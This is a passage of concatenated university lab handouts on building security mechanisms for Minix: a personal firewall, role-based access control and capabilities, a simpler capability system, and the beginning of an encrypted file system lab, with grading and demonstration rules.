The policy configuration module is intended for allowing system administrators to set up the firewall policies. There are many types of policies that can be supported by personal firewalls, starting from very simple to fairly complex. For minifirewall, the minimal requirements on policies are described in the following, but you are encouraged (and will be rewarded) if your firewall can support more sophisticated policies. Basically, your firewall should be able to block or unblock incoming and outgoing packets based on the following criteria:

1. **Protocol:** It specifies which protocol a policy applies to. The protocol can be TCP, UDP, or ICMP.

2. **Source and Destination address:** Match packets with source and destination addresses. As used by many packet filters, address/netmask combination is often used to block an address range.

3. **Source and Destination port number:** Match packets with source and destination port numbers.

4. **Action:** Specify the actions when a packet matches with a rule. Common actions include
   - **BLOCK:** block packets.
   - **UNBLOCK:** used in conjunction with BLOCK to allow packets from just one address through while the entire network is blocked.
Configuration Tools. You need to implement a tool to allow the administrator to configure the firewall policies. Let us call this tool minifirewall. We give a few examples on how this tool can be used. However, feel free to change the syntax according to your own preference.

- minifirewall --in --proto ALL --action BLOCK
  Block all incoming packets.

- minifirewall --in --proto TCP --action UNBLOCK
  Allow only TCP incoming packets.

- minifirewall --in --srcip 172.16.75.43 --proto ALL --action BLOCK
  Block all the packets from the given IP address.

- minifirewall --out --destip 172.20.33.22 --proto UDP --action UNBLOCK
  Unblock the outgoing UDP packets if the destination is 172.20.33.22

- minifirewall --in --srcip 172.16.0.0 --srcnetmask 255.255.0.0 --destport 80 --proto TCP --action BLOCK
  Block all incoming TCP packets from the 172.16.0.0/16 network if the packets are directed towards port 80.

- minifirewall --print
  Print all rules.

- minifirewall --delete 3
  Delete the 3rd rule.

2.2 Task 2: Packet Filtering

The main part of firewall is the filtering part, which enforces the firewall policies we set. You can add the filtering functionality to Minix’s network code (inet). You can refer to several helpful documents available on inet (links are provided on the lab description page). We suggest that you first work on this packet filtering module, rather than the policy module. To start with a policy module, you can conduct filtering based on a hard-coded firewall policy. Once your packet filtering starts working properly, you can work on the policy implementation and integrating policy with filtering.

3 Suggestions

We have compiled a list of suggestions in the following. Please read them carefully before you start the labs.

1. An important distinction. Before you start coding your firewall, it is essential to focus on design. A proper approach to designing is to make a distinction between mechanism and policy. While mechanism provides the different ways an action can be performed, policies defines the actions to be performed. With reference to this lab, packet filtering is a mechanism, whereas filtering rules are policies.

   To better explain this important distinction, consider that we select a design where packets that are sent to and from 127.0.0.1 are always ignored in the inet code. This is a not-so-good design because we are imposing a restriction on the mechanism by putting a block on the kind of packets that can be filtered. Instead, a better approach is to let the user decide what to do when a packet is from and to 127.0.0.1.
2. Code Reading. To read Minix source, it is quite inconvenient to do so in the Minix environment because of the lack of tool support in Minix. We suggest that you copy the entire source code to your host machine (Windows or Linux), and use code-reading tools that are available on those platforms. All the source code of Minix can be found under the /usr directory. We also put a copy of the entire source code on the web page of this lab.

Browsing source code of Minix is not easy, because source code is in a number of directories. Sometimes, it is quite difficult to find where a function or data structure is defined. Without right tools, you can always use the generic search tools, such as find and grep. However, many of our past students have suggested a very useful tool called Source Insight, which makes it much easier to navigate source code of a complicated system. It provides an easy way to trace function and data structure definitions, as well as other useful features. This software can be found at http://www.sourceinsight.com. Another choice for browsing source code is to use the online Minix source code at http://chiota.tamacom.com/tour/kernel/minix/.

3. How Minix Networking Works (I). Understanding how networking works in Minix is essential for this project. Several helpful documentations are available. In particular, we highly recommend the documentation at http://www.os-forum.com/minix/net/, which provides a line-by-line analysis of Philip Homburg’s network service for Minix, version 2.0.4 (the version that we use in this lab is version 3, which is not so different from the version 2.0.4 in the networking part). Our past students found the documentation very useful. Please focus on two files: ip_read.c and ip_write.c. All outgoing IP packets are processed in ip_write.c, and all incoming IP packets sent to up layers (TCP/UDP) are processed in ip_read.c.

4. How Minix Networking Works (II). We have developed a document to further help you understand how the Minix networking works. The document can be found at the lab web site. It guides you through several source code to show you a big picture on how a packet is forwarded from application to ICMP/TCP/UDP to IP, and then to Ethernet. It also describes how add_route.c and pr_routes.c works. These last two files (in /usr/src/commands/simple) can serve as a good example on how to store and maintain (routing) information in the kernel. If your need to do the similar thing (i.e., storing information in the kernel), you can use the system calls in inet, such as ioctl() in ip_ioctl.c, which need to be changed to add more functionalities. The files pr_routes.c and add_routes.c give you a good example on how to use the system calls.

5. Testing. Testing is an important step of this lab to make sure that your firewall performs according to expectations. There are two main aspects to testing:

(a) Testing whether policies give desired results: For each of the policies that you have implemented, make a list of commands that utilizes these policies. Run each of the commands in your list and check if they produce desired results. Some tools that will help you in this process are Wireshark (http://wireshark.org) and Ftester (http://dev.inversepath.com/trac/ftester).

(b) Checking for system stability: You should make sure that your firewall does not make your system unstable or cause a system crash. You should always be very careful about freeing unused memory. Run your firewall long enough and feed it a wide variety of rules so that you are sure that it does not kill your system!
4 Submission and Demonstration

You should submit a detailed lab report to describe your design and implementation. You should also describe how you test the functionalities and security of your system. You also need to demonstrate your system to us. Please sign up a demonstration time slot with the TA. Please take the following into consideration when you prepare for demonstration:

- The total time of the demo will be 15 minutes, no more additional time would be given. So prepare your demonstration so you can cover the important features.

- You are entirely responsible for showing the demo. We will NOT even touch the keyboard during the demonstration; so you should not depend on us to test your system. If you fail to demo some important features of your system, we will assume that your system does not have those features.

- You need to practice before you come to the demonstration. If the system crashes or anything goes wrong, it is your own fault. We will not debug your problems, nor give you extra time for it.

- During the demo, you should consider yourself as salesmen, and you want to sell your system to us. You are given 15 minutes to show us how good your system is. So think about your sales strategies. If you have implemented a great system, but fail to show us how good it is, you are not likely to get a good grade.

- Do turn off the messages your system prints out for debugging purposes. Those messages should not appear in a demonstration.
Role-Based Access Control (RBAC) Lab – Minix Version

1 Lab Description

The learning objective of this lab is two-fold. First, this lab provides students with an opportunity to integrate two access control principles, capability and the Role-Based Access Control (RBAC), to enhance system security. Second, this lab allows students to apply their critical thinking skills to analyze their design of the system to ensure that the system is secure.

In this lab, students will implement a simplified capability-based RBAC system for Minix. The simplification on RBAC is based on the RBAC standard proposed by NIST [1]. This lab is quite comprehensive, students should expect to spend 4 to 6 weeks on this lab. Students should have a reasonable background in operating systems, because kernel programming and debugging are required.

2 Lab Tasks

2.1 Task 1: Capabilities (40 points)

In a capability system, when a process is created, it is initialized with a list of capabilities (tokens). When the process tries to access an object, the operating system checks the capabilities of the process, and decides whether to grant the access or not. In this lab, we have defined 80 capabilities, but only 6 of them are meaningful and need implementation; the others are just dummy capabilities.

1. **CAP_ALL**: This capability overrides all restrictions. This is equivalent to the traditional “root” privilege.

2. **CAP_READ**: Allow read on files and directories. It overrides the ACL restrictions regarding read on files and directories.

3. **CAP_CHOWN**: Overrides the restriction of changing file ownership and group ownership. Recall that for security reasons, normal users are not allowed to call `chown()`. This capability overrides the restriction.

4. **CAP_SETUID**: Allow to change the effective user to another user. Recall that when the effective user id is not root, calling `setuid()` and `seteuid()` to change effective users is subject to certain restrictions. This capability overrides those restrictions.

5. **CAP_KILL**: Allow killing of any process. It overrides the restriction that the real or effective user ID of a process sending a signal must match the real or effective user ID of the process receiving the signal.

6. **CAP_ROLE_Delegate**: This capability is related to roles. It will be discussed in the RBAC section.
7. **CAP_7, ..., CAP_80:** These are dummy capabilities. They will not affect access control. We just “pretend” that these capabilities can affect access control. We want to have a significant number of capabilities in this lab to make the management (the next part) more interesting.

You need to demonstrate how these capabilities affect your access control. Although the dummy capabilities will not affect access control, they need to be included in your system, so we can assign them to roles in the RBAC part. Moreover, you should be able to show their existence in your demonstration. One possible way is to implement a mechanism that can be used by administrators to print out any process’s capabilities.

You are warned that the person who provides the above capability requirements have not fully thought through the security consequence of the requirements. Therefore, if you implement the above requirements as they are, your system might be flawed. Remember that an important goal of designing these capabilities is to divide the super-powerful root privileges into smaller less powerful privileges, so they can be used to achieve the principle of least privileges in applications. If a person who is assigned a privilege A can get more privileges using A, your system has a security flaw.

It is your responsibility to revise the above requirements to make them secure. You need to fully analyze their security consequences, document your analysis, and provide a revised and secure set of requirements in your report. If your system is flawed, we will deduct up to 30 points, regardless how beautiful your system is or how many nice features you have implemented.

### 2.2 Task 2: Managing Capabilities Using RBAC (40 points)

With these many (80) capabilities and many users, it is difficult to manage the relationship between capabilities and users. The management problem is aggravated in a dynamic system, where users’ required privileges can change quite frequently. For example, a user can have a manager’s privileges in her manager position; however, from time to time, she has to conduct non-manager tasks, which do not need the manager’s privileges. She must drop her manager’s privileges to conduct those tasks, but it might be difficult for her to know which privileges to drop. Role-Based Access Control solves this problem nicely.

RBAC (Role-Based Access Control), as introduced in 1992 by Ferraiolo and Kuhn, has become the predominant model for advanced access control because it reduces the complexity and cost of security administration in large applications. Most information technology vendors have incorporated RBAC into their product line, and the technology is finding applications in areas ranging from health care to defense, in addition to the mainstream commerce systems for which it was designed. RBAC has also been implemented in Fedora Linux and Trusted Solaris.

With RBAC, we never assign capabilities directly to users; instead, we use RBAC to manage what capabilities a user get. RBAC introduces the role concept; capabilities are assigned to roles, and roles are assigned to users. In this lab, students need to implement RBAC for Minix. The specific RBAC model is based on the NIST RBAC standard [1].

**A) Core RBAC.** Core RBAC includes five basic data elements called users (USERS), roles (ROLES), objects (OBS), operations (OPS), and permissions (PRMS). In this lab, permissions are just capabilities, which are consist of a tuple (OPS, OBS). Core RBAC also includes sessions (SESSIONS), where each session is a mapping between a user and an activated subset of roles that are assigned to the user. Each session is associated with a single user and each user is associated with one or more sessions.

In this lab, we use login session as RBAC session. Namely, when a user logs into a system (e.g. via login), a new session is created. All the processes in this login session belong to the same RBAC session.
When the user logs out, the corresponding RBAC session will end. A user can run multiple login sessions simultaneously, and thus have multiple RBAC sessions, each of which can have a different set of roles. In Minix, we can create a maximum of 4 login sessions using ALT-F1, ALT-F2, ALT-F3, and ALT-F4.

Based on these basic RBAC data elements, you should implement the following functionalities:

- **Creation and Maintenance of Roles**: Roles in a system cannot be hard-coded; administrators should be able to add/delete roles. To simplify implementation, we assume that the role addition and deletion will only take effects after system reboots. However, you are encouraged not to make this simplification.

- **Creation and Maintenance of Relations**: The main relations of Core RBAC are (a) user-to-role assignment relationship (UA), and (b) permission-to-role assignment relation (PA). Please be noted that both UA and PA relations can be modified during the run time, but the change of UA and PA relations will not affect existing sessions; it only affects new sessions.
  
  - **Update PA Relationships**: A privileged user should be able to add permissions to or delete permissions from a role. Such a modification should be persistent; namely, the relationships will be retained even after the system is shut down.
  
  - **Update UA Relationships**: A privileged user should be able to add users to or delete users from a role. Similar to the PA relationships, the modification should be persistent.

- **Delegating/Revoking Roles**: Delegation/Revocation is another way to update UA relationships. A normal user with the capability CAP_ROLE_Delegate should be able to delegate his/her own roles to other users, and also be able to revoke the delegated roles. When a role is delegated to a user, a new user-to-role instance will be created; new sessions of the user will be affected by this new UA instance. However, this user-to-role instance is volatile; namely, it will be lost if the system is shut down. The user who delegates his/her roles can later revoke those roles. Once a delegated role is revoked by the user, the effect should be seen immediately; namely, all the involved sessions (current) will lose that delegated role immediately.

- **Enable/Disable/Drop Roles**: When a user initiates a new session, all the user’s roles will be in a disabled state (we call them inactive roles); namely, the roles will not be effective in access control. Users need to specifically enable those roles. An enabled role is called an active role. The following functionalities should be supported:
  
  - During a session, a user can enable and disable any of their roles. Functions related to role enabling and disabling are EnableRole and DisableRole. The DisableRole function does not permanently drop a role, it only makes the role inactive.
  
  - If a session does not need a role anymore, it should be able to permanently drop the role using DropRole. Once a role is dropped from the session, there is no way for the user to regain that role during the current session. However, new sessions will still have that role.

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1. You need to pay attention to the following situation: if some processes (possible for Unix OS) are left behind after the user logs out, what will happen to those processes? Do they still have the privileges associated with the original session? You should describe and justify your design decision in your report regarding this issue.

2. For example, they can put the enabling commands in their .login file.
(B) **Separation of Duty.** Separation of duty relations are used to enforce conflict of interest policies that organizations may employ to prevent users from exceeding a reasonable level of authority for their positions. NIST RBAC standard defines two types of separation of duty relations: *Static Separation of Duty (SSD)* and *Dynamic Separation of Duty (DSD)*. SSD enforces the separation-of-duty constraints on the assignment of users to roles; for example, membership in one role may prevent the user from being a member of one or more other roles, depending on the SSD rules enforced. DSD allows a user to be assigned conflicted roles, but ensures that the conflicted roles cannot be activated simultaneously. In this lab, your system should support both SSD and DSD rules.

SSD and DSD policies (i.e. rules) are set by the system administrators. You can define your own format for these policies. Moreover, you can decide where to store the policies, how to effectively check these policies, and how to update these policies. We also assume that any update of the policies only affect new sessions and future operations. It is important to identify where SSD and DSD policies should be checked.

- **SSD policies need to be checked every time a role assignment occurs.** There are two places where a role might be added to a user: one is conducted by the privileged users. To simplify your design, you can delay the enforcement of SSD until a user creates a new session (i.e. login), rather than at the point when the privileged users add the role. Another place where a role is added to a user is via delegation. You need to make sure that any delegation that violates the SSD policies will fail.

- **DSD policies need to be checked every time a role become active.** There is only one place where a role can become active. That is when the function `EnableRole` is called. Note that the previous statement is true because all roles are in a disabled state initially, including those roles that are delegated from other users.

### 2.3 Task 3: Supporting the Set-UID Mechanism (20 points)

Sometimes, to conduct an operation, a user might need additional privileges. To enable this operation, we can assign the required privileges to the user; however, once the privileges are assigned to the user, it is difficult to prevent the user from abusing the privileges (i.e., using the privileges on other undesirable operations). A solution to the dilemma is to use the Set-UID mechanism, which is implemented in most of the Unix operating system. With this mechanism, we can mark certain programs as Set-UID programs. Whoever runs a Set-UID program will run the program with the program owner’s privileges. Therefore, users gain the required privileges only temporarily and only within the scope of the program.

In the particular Unix implementation, whoever runs a Set-UID program will run the program using the program owner’s id as its *effective* user id; this way, the user can gain the program owner’s privileges because access control is mostly based on the effective user id. In this task, we would like to extend the Set-UID concept to *roles*. More specifically, with the extension, a Set-UID program will *allow users who run the program to gain the roles of the owner of the program*. For example, if the owner of the Set-UID program is $U$, a user who runs this program will run this program using $U$’s roles, instead of his/her own roles. Your extension should be compatible with the original Set-UID mechanism, i.e., if your implementation is correct, all the Set-UID programs in the original Minix system should work as usual.

You should be very careful when dealing with the relationship of the obtained roles and the session. If not carefully, you might introduce some major flaws into your system through this mechanism, because the mechanism allows users to gain additional privileges.

### 2.4 Task 4 (Optional): Set-Role Mechanism (10 bonus points)

The above Set-UID mechanism allows a user to grant all his/her privileges to a program, such that whoever runs the program will gain those privileges within the scope of the program. This is not desirable, especially
if the users have too much power. A better alternative is to allow the privileged user to grant a subset of his/her own privileges to a program, instead of all his/her privileges.

In this lab, the above goal can be achieved by associating a subset of the user’s roles to the program, such that, whoever runs this program will run this program with the associated roles, instead of with his/her own roles. We call this mechanism the Set-Role mechanism. A challenging issue of this method is to find a place to store the role information. A good choice is the I-nodes.

### 2.5 Implementation Strategies

You can start your design and implementation by assuming that all capabilities are dummy. Namely, you do not need to concern about how those capabilities will be checked by the system. This can make your life easier. You basically assume that the capability will be eventually be used by access control. This way, you can focus on how to enable RBAC and capability in Minix, such that when access control needs to use those capabilities, they can find the capabilities in an efficient way.

You should be able to test your implementation independently, regardless of whether the capabilities are dummy or not. Of course, you need to implement some utilities, which allow you to print out the role and capability information of a session and process.

After your RBAC part is implemented and fully tested, you can focus on the capability part. More specifically, you need to modify Minix’s access control, so those non-dummy capabilities can actually affect access control.

### 3 Design and Implementation Issues

In this lab, you need to make a number of design choices. Your choices should be justified, and the justification should be included in your lab report.

#### 3.1 Initialization

When a user logs into a system, a new session will be initialized. There are two important questions that you need to think about regarding this initialization: (1) where does this session get the initial roles? and (2) which program assigns these roles to this session? You might want to take a look at `login.c` under the `usr/src/commands/simple` directory.

#### 3.2 Capability/Role in Process or Session

You need to consider the following issues related to processes:

- Since capabilities are the one used by the system for access control, the OS needs to know what capabilities a process has. How do we let OS know the capabilities. Should each process carry just roles, or both roles and capabilities, or just capabilities? You need to justify your design decisions in your report.

- Where do you store roles/capabilities? They can be stored in kernel space (e.g., capability list), in user space (e.g., cryptographic token), or in both spaces (like the implementation of file descriptor, where the actual capabilities are stored in the kernel and the indices to the capabilities are copied to the user space). Which design do you use? You should justify your decisions in your lab reports.
You need to study the process-related data structures. They are defined in three places: file system (/usr/src/servers/fs), process management (/usr/src/servers/pm), and kernel (/usr/src/kernel).

How does a newly created process get its roles?

When system boots up, a number of processes (e.g. file system process and memory management process) will be created; do they need to carry roles?

3.3 Use Capabilities for Access Control

When a process tries to access an object, the operating system checks the process’ capability, and decides whether to grant the access or not. The following issues will give you some hints on how to design and implement such an access control system.

To check capabilities, you need to modify a number of places in Minix kernel. Be very careful not to miss any place; otherwise you will have a loophole in your system. Please describe these places and your justification in your lab report.

Where do you check capabilities? You should think about applying the reference monitor principle here.

The capability implemented in this lab co-exists with the Minix’s existing ACL access control mechanism. How do you deal with their relationship? For example, if a process has the required capability, but ACL denies the access, should the access be allowed? On the other hand, if a process does not have the required capability, but ACL allows the access, should the access be allowed? You need to justify your decisions in your reports.

Root’s privileges: should the super-user root still have all the power (i.e. having CAP_ALL)? This is your design decision; please justify your decisions.

Compatibility issue: Keep in mind that there will be processes (especially those created during the bootup) that are not capability-enabled. The addition of capability mechanism will cause them not to work properly, because they do not carry any capability at all. You need to find a solution to make your capability system compatible with those processes.

3.4 Helpful Documents.

We have linked several helpful documents to the lab web page. Make sure you read them, because they can save you a tremendous amount of time. These documents cover the following topics: (1) how to add new system calls? (2) how are system calls invoked? (3) process tables in the file system process and the memory management process.

Important Reminder. Please remember to backup a valid boot image before you make modifications; you might crash your systems quite often.
4 Submission and Demonstration

You should submit a detailed lab report to describe your design and implementation. You should also describe how you test the functionalities and security of your system. You also need to demonstrate your system to us. Please sign up a demonstration time slot with the TA. Please take the following into consideration when you prepare for demonstration:

- The total time of the demo will be 15 minutes, no more additional time would be given. So prepare your demonstration so you can cover the important features.
- You are entirely responsible for showing the demo. We will NOT even touch the keyboard during the demonstration; so you should not depend on us to test your system. If you fail to demo some important features of your system, we will assume that your system does not have those features.
- You need to practice before you come to the demonstration. If the system crashes or anything goes wrong, it is your own fault. We will not debug your problems, nor give you extra time for it.
- During the demo, you should consider yourself as salesmen, and you want to sell your system to us. You are given 15 minutes to show us how good your system is. So think about your sales strategies. If you have implemented a great system, but fail to show us how good it is, you are not likely to get a good grade.
- Do turn off the messages your system prints out for debugging purposes. Those messages should not appear in a demonstration.

5 An Important Message

I sent the following message to my students after their final demonstration of this project. It is a lesson that we should all learn from.

I was upset by the design and implementation decisions that you guys have made regarding CAP_SETUID and CAP_CHOWN. Most of you (except 4 people) demonstrated to me a flawed system. Whe I confronted them about this flaw, many said that they knew this problem, they just didn’t have enough time to fix the problem. Let me show you the logic: fixing the problem takes only about less than 30 minutes, but you guys would rather spend 10 hours to make the role delegation work, rather than spend 30 minutes to fix such a major security flaw in your system. This is not what I have taught you in my class.

You are not alone; many software developers have the same attitudes like yours: they would rather spend many many hours on some nice features (so they can sell the product with a good price) than spending some time ensuring that their systems are secure. After all, security does not make money, nice features do. When they are under the pressure of deadlines, many developers choose features, like what you guys did. Just remember, although security does not make money, a simple flaw like what you guys made can cause millions of dollars in loss and damage of reputations.

I have deducted 10 points from your grade if your system is flawed. This is only symbolic. I should have deducted 50 points, because you guys are trying to “sell” me a flawed system at the end of a computer SECURITY class. This is such an irony! What makes the thing even worse
is that many of you know the flaws, but feel the priority of fixing the flaws is too low for you to spare 30 minutes of your time.

As I said in the last lecture of the course: you may forget the contents of my lectures after your final exam, but you should gain the “sense of security”, and take that sense to your jobs. I hope that you can learn a lesson from these 10 points. If in the future, you are facing a similar choice: features or security (I am sure you will face this kind of choice quite often), I hope that you remember this lesson.


References

1 Lab Description

The learning objective of this lab is for students to apply the capability concept to enhance system security. In Unix, there are a number of privileged programs (e.g., Set-UID programs); when these programs are run, even by normal users, they run as root (i.e., system administrator); namely the running programs possess all the privileges that the root has, despite of the fact that not all of these privileges are actually needed for the intended tasks. This design clearly violates an essential security engineering principle, the principle of least privilege. As a consequence of the violation, if there are vulnerabilities in these programs, attackers might be able to exploit the vulnerabilities and abuse the root’s privileges.

Capability can be used to replace the Set-UID mechanism. In Trusted Solaris 8, root’s privileges are divided into 80 smaller capabilities. Each privileged program is only assigned the capabilities that are necessary, rather than given the root privilege. A similar capability system is also developed in Linux. In this lab, we will implement a simplified capability system for Minix.

2 Lab Tasks

In a capability system, when a program is executed, its corresponding process is initialized with a list of capabilities (tokens). When the process tries to access an object, the operating system should check the process’ capability, and decides whether to grant the access or not.

2.1 Required Capabilities (60 points)

To make this lab accomplishable within a short period of time, we have only defined 5 capabilities. Due to our simplification, these five capabilities do not cover all of the root’s privileges, so they cannot totally replace Set-UID. They can only be used for privileged programs that just need a subset of our defined capabilities. For those programs, they do not need to be configured as a Set-UID program; instead, they can use our capability system. Here are the capabilities that you need to implement in this lab:

1. CAP_READ: Allow read on files and directories. It overrides the ACL restrictions regarding read on files and directories.

2. CAP_CHOWN: Overrides the restriction of changing file ownership and group ownership.

3. CAP_SETUID: Allow to change the effective user to another user. Recall that when the effective user id is not root, callings of setuid() and seteuid() to change effective users are subject to certain restrictions. This capability overrides those restrictions.
4. CAP_KILL: Allow killing of any process. It overrides the restriction that the real or effective user ID of a process sending a signal must match the real or effective user ID of the process receiving the signal.

5. CAP_SYS_BOOT: Allow rebooting the system.

A command should be implemented for the superuser to assign capabilities to (or remove capabilities from) a program. It should be noted that the above five capabilities are independent; if a capability is not assigned to a program, the program cannot gain this capabilities from other capabilities. For example, if a program has only the CAP_SETUID capability, it should not be able to use this capability to gain any of the other capabilities. You should be warned that the above description of capabilities was intentionally made vague and incomplete, such that a design that exactly follows the description can have loopholes. It is your responsibility to clarify and complete the description. If you think that it is necessary to add restrictions to these capabilities to avoid loopholes, you should feel free to do that; in your report and demonstration, you need to justify your decisions.

2.2 Managing Capabilities (40 points)

We should also allow a process to manage its own capabilities. For example, when a capability is no longer needed in a process, we should allow the process to permanently remove this capability. Therefore, even if the process is compromised, attackers will not be able to gain this deleted capability. The following six operations are general capability management operations; you need to implement them in your capability system.

1. Deleting: A process can permanently delete a capability.

2. Disabling: A process can temporarily disable a capability. Note that unlike deleting, disabling is only temporary; the process can later enable it.

3. Enabling: A process can enable a capability that is temporarily disabled.

4. Copying: A process can give its own capabilities to its children processes.

5. Copy-control mechanism: The owner of a capability can control whether the receiver can make another copy or not.

6. (10 bonus points) Revocation: The owner of a capability can revoke the capability from all of its children processes.

3 Design and Implementation Issues

In this lab, you need to make a number of design choices. Your choices should be justified, and the justification should be included in your lab report.

3.1 Assigning Capability to Programs

Before a program becomes a privileged program, certain capabilities need to be assigned to this program. You need to consider the following issues related to capability assignment.
• Where should the capabilities of a program be stored? There are several ways to store capabilities. You need to justify your design decision. You can justify it from various aspects, such as security, usability, ease of use, etc. To help you, we list two possible methods in the following:
  – Save capabilities in a configuration file.
  – Save capabilities in the I-nodes of the program file.

• How can users set capabilities of a file?

• Who can assign capabilities to programs?

3.2 Capability in Process

When a program is executed, a process will be created to perform the execution. The process should carry the capability information. You need to consider the following issues related to processes:

• Where do you store capabilities? They can be stored in kernel space (e.g., capability list), in user space (e.g., cryptograhic token), or in both spaces (like the implementation of file descriptor, where the actual capabilities are stored in the kernel and the indices to the capabilities are copied to the user space). Which design do you use? You should justify your decisions in your lab reports.

• You need to study the process-related data structures. They are defined in three places: file system (/usr/src/fs), memory management (/usr/src/mm), and kernel (/usr/src/kernel).

• How do you assign capability to a newly created process?

• When system boots up, a number of processes (e.g. file system process and memory management process) will be created; do they need to carry capabilities?

3.3 Use Capabilities for Access Control

When a process tries to access an object, the operating system checks the process’ capability, and decides whether to grant the access or not. The following issues will give you some hints on how to design and implement such an access control system.

• To check capabilities, you need to modify a number of places in Minix kernel. Be very careful not to miss any place; otherwise you will have a loophole in your system. Please describe these places and your justification in your lab report.

• Where do you check capabilities? You should think about applying the reference monitor principle here.

• The capability implemented in this lab co-exists with the Minix's existing ACL access control mechanism. How do you deal with their relationship? For example, if a process has the required capability, but ACL denies the access, should the access be allowed? On the other hand, if a process does not have the required capability, but ACL allows the access, should the access be allowed? In your lab report, you should draw a diagram to depict the relationship between your capability-checking module and the ACL-checking module.
• **Compatibility issue:** Keep in mind that there will be processes (especially those created during the bootup) that are not capability-enabled. The addition of capability mechanism will cause them not to work properly, because they do not carry any capability at all. You need to find a solution to make your capability system compatible with those processes.

### 3.4 Helpful Documents

We have linked several helpful documents to the lab web page. Make sure you read them, because they can save you a tremendous amount of time. These documents cover the following topics: (1) how to add new system calls? (2) how are system calls invoked? (3) process tables in the file system process and the memory management process.

**Very Important:** Please remember to backup a valid boot image before you make modifications; you might crash your systems quite often.

### 4 Submission and Demonstration

You should submit a detailed lab report to describe your design and implementation. You should also describe how you test the functionalities and security of your system. You also need to demonstrate your system to us. Please sign up a demonstration time slot with the TA. Please take the following into consideration when you prepare for demonstration:

- The total time of the demo will be 15 minutes, no more additional time would be given. So prepare your demonstration so you can cover the important features.

- You are entirely responsible for showing the demo. We will NOT even touch the keyboard during the demonstration; so you should not depend on us to test your system. If you fail to demo some important features of your system, we will assume that your system does not have those features.

- You need to practice before you come to the demonstration. If the system crashes or anything goes wrong, it is your own fault. We will not debug your problems, nor give you extra time for it.

- During the demo, you should consider yourself as salesmen, and you want to sell your system to us. You are given 15 minutes to show us how good your system is. So think about your sales strategies. If you have implemented a great system, but fail to show us how good it is, you are not likely to get a good grade.

- Do turn off the messages your system prints out for debugging purposes. Those messages should not appear in a demonstration.
Encrypted File System Lab

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1 Overview

In a traditional file system, files are usually stored on disks unencrypted. When the disks are stolen by someone, contents of those files can be easily recovered by the malicious people. To protect files even when the disks are stolen, we can use encryption tools to encrypt files. For example, we can use “pgp” command to encrypt files. However, this is quite inconvenient; users need to decrypt a file before editing the file, and then remember to encrypt it afterward. It will be better if encryption and decryption can be transparent to users. Encrypted File System (EFS) is developed for such a purpose, and it has been implemented in a number of operating systems, such as Solaris, Windows NT, and Linux.

2 Lab Task

In an EFS, files on disks are all encrypted, nobody can decrypt the files without knowing the required secret. Therefore, even if a EFS disk is stolen, its files are kept confidential.

2.1 Transparency

The most important feature of EFS is transparency. Namely, when legitimate users use the files in EFS, the users do not need to conduct encryption/decryption explicitly; encryption/decryption is conducted automatically by the file system. This distinguishes EFS from normal file-encryption programs.

More importantly, EFS should also be transparent to applications. Any application that work in a traditional file system should still work properly in EFS. When users read a file (encrypted) using a normal editor software, EFS will automatically decrypt the file contents before giving them to the software; similarly, EFS will automatically encrypt the file contents when users write to a file. All these happen on the fly, neither users nor the editor software should be aware of the encryption/decryption process. For example, if users use “cat” to look at the contents of a file, cat will display the decrypted contents; the decryption is transparently conducted by the EFS. If users use “vi” to edit a file, every time they issue a “save” command, the contents of the file should be encrypted and then saved to the disk; the encryption is also transparently conducted by the EFS. There is no need to modify application programs.

In this lab, your task is to design and implement an EFS for Minix. This lab is a comprehensive lab; it integrates a number of security principles, including encryption, key management, authentication, and access control.

2.2 Key Management

(a) Key storage dilemma. In an EFS, we can choose to use one single key to encrypt all the files in the encrypted file system; or we can choose to encrypt each file using a different key. In this lab, we choose the
latter approach; we call this approach the *per-file-key* approach. Obviously, these keys cannot be stored on the disk in plaintext; otherwise, adversaries can find those keys after they have stolen the disk. On the other hand, we cannot ask users to type each of those keys every time they try to access a file, because no user can remember all these keys. This is a dilemma that you have to solve in your EFS design.

(b) **Where to store key-related information.** A number of places can be used to store key-related information. One of the places is the i-node data structure. However, i-node does not provide enough space to store extra information that you need. There are two difference approaches to solve this problem, one requires a modification of i-node, and the other redefines a field of i-node. Please see Section 4.1 for details. Another place that can be used to store key-related information is the *superblock*. Please see Section 4.2 for details.

(c) **Authentication:** Users must be authenticated before he can access the EFS. This authentication is not to authenticate users per se; instead, its focus is to ensure that users provide the correct key information. Without the authentication, a user who types a wrong key might corrupt an encrypted file, if such a key is directly or indirectly used for encrypting/decryption files.

Depending on your design, authentication can be conducted in different ways. One way is to just authenticate the root, who initially sets up the EFS; another way is to authenticate each user. Regardless of what approach you take, authentication must be kept at minimum: no user is going to like your EFS if you ask users to authenticate themselves too frequently. You have to balance the security and usability of your system. Another authentication issue is where and how to store the authentication information.

(d) **Miscellaneous issues:** There are a number of other issues that you need to consider in your design:

- **File sharing:** Does your implementation support group concept in Unix? Namely, if a file is accessible by a group, can group member still be able to access the file in EFS?

- **Key update:** If keys need to be updated, how can your system support this functionality? Although you do not need to implement this functionality in this lab, you need to discuss in your report how your system can be extended to support this functionality.

### 2.3 Encryption Algorithm

We assume that AES algorithm (a 128-bit block cipher) is used for encryption and decryption. AES’s key size can be 128 bits, 192 bits, or 256 bits, and you can choose one to support in your EFS implementation. The code given in *aes.c* is for encrypting/decrypting one block (i.e. 128 bits), so if you need to encrypt/decrypt data that are more than one block, you need to use a specific AES mode, such as ECB (Electronic Code Book), CBC (Cipher Block Chaining), etc. You can decide which mode to use, but you need to justify your design decision in your report.

Since AES is a 128-bit block cipher, it requires that data must be encrypted as a data chunk of 16 bytes. If the data (in particular, the last block of a file) is not a multiple of 16, we need to pad the data. Will this increase the length of your file? How do you make sure that the padded data is not seen by users?

To use AES, you should install the *libcrypt* library in your Minix system. The installation manual is available on the web site of this lab. This library includes both encryption and one-way hashing.
3 EFS Setup

Modifying a file system can be very risky. You could end up loosing all data; restoring the old boot image won't help if your file system is messed up. A good way to avoid these troubles is to have an extra hard disk at your discretion. You can always reformat this hard disk when things go wrong. Of course, you do not need a physical hard disk in Vmware, you can use a virtual one. Here are the steps on how to create a virtual hard disk, how to build a file system on the disk, and how to mount and use the file system:

1. Goto the settings page of your virtual machine and add a hard drive.
   (a) Right click on your VM’s tab and select settings from the menu.
   (b) Click on the Add button on the Hardware tab.
   (c) Select Hard Disk from the popup window and select default options(already highlighted) in the consecutive steps.
   (d) A preallocated hard disk of size 100 MB should be sufficient for our case.

2. Restart Minix.

3. The virtual device would be allocated a device number. If /dev/c0d0 is your current disk then most likely /dev/c0d1 would be your new hard drive. Hard drives have name of the form /dev/cXdXpXsX where d signifies the disk number and p signifies the partition number. Assuming that you had just one hard disk earlier (disk 0), your new hard disk number will be 1, hence the name /dev/c0d1.

